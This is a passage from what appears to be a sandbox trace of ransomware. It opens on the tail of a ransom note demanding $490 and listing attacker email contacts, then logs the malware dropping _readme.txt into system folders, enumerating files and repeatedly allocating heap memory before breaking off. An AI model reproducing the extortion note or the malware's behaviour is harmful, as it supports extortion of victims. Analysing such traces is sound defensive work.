$490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.459] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.459] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.459] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.460] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.460] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.460] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.460] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.460] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.460] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.460] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.460] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.461] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.461] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.462] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.462] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.463] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.463] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.464] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.464] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.465] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.465] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.466] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.466] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.467] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.467] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.467] RtlAllocateHeap 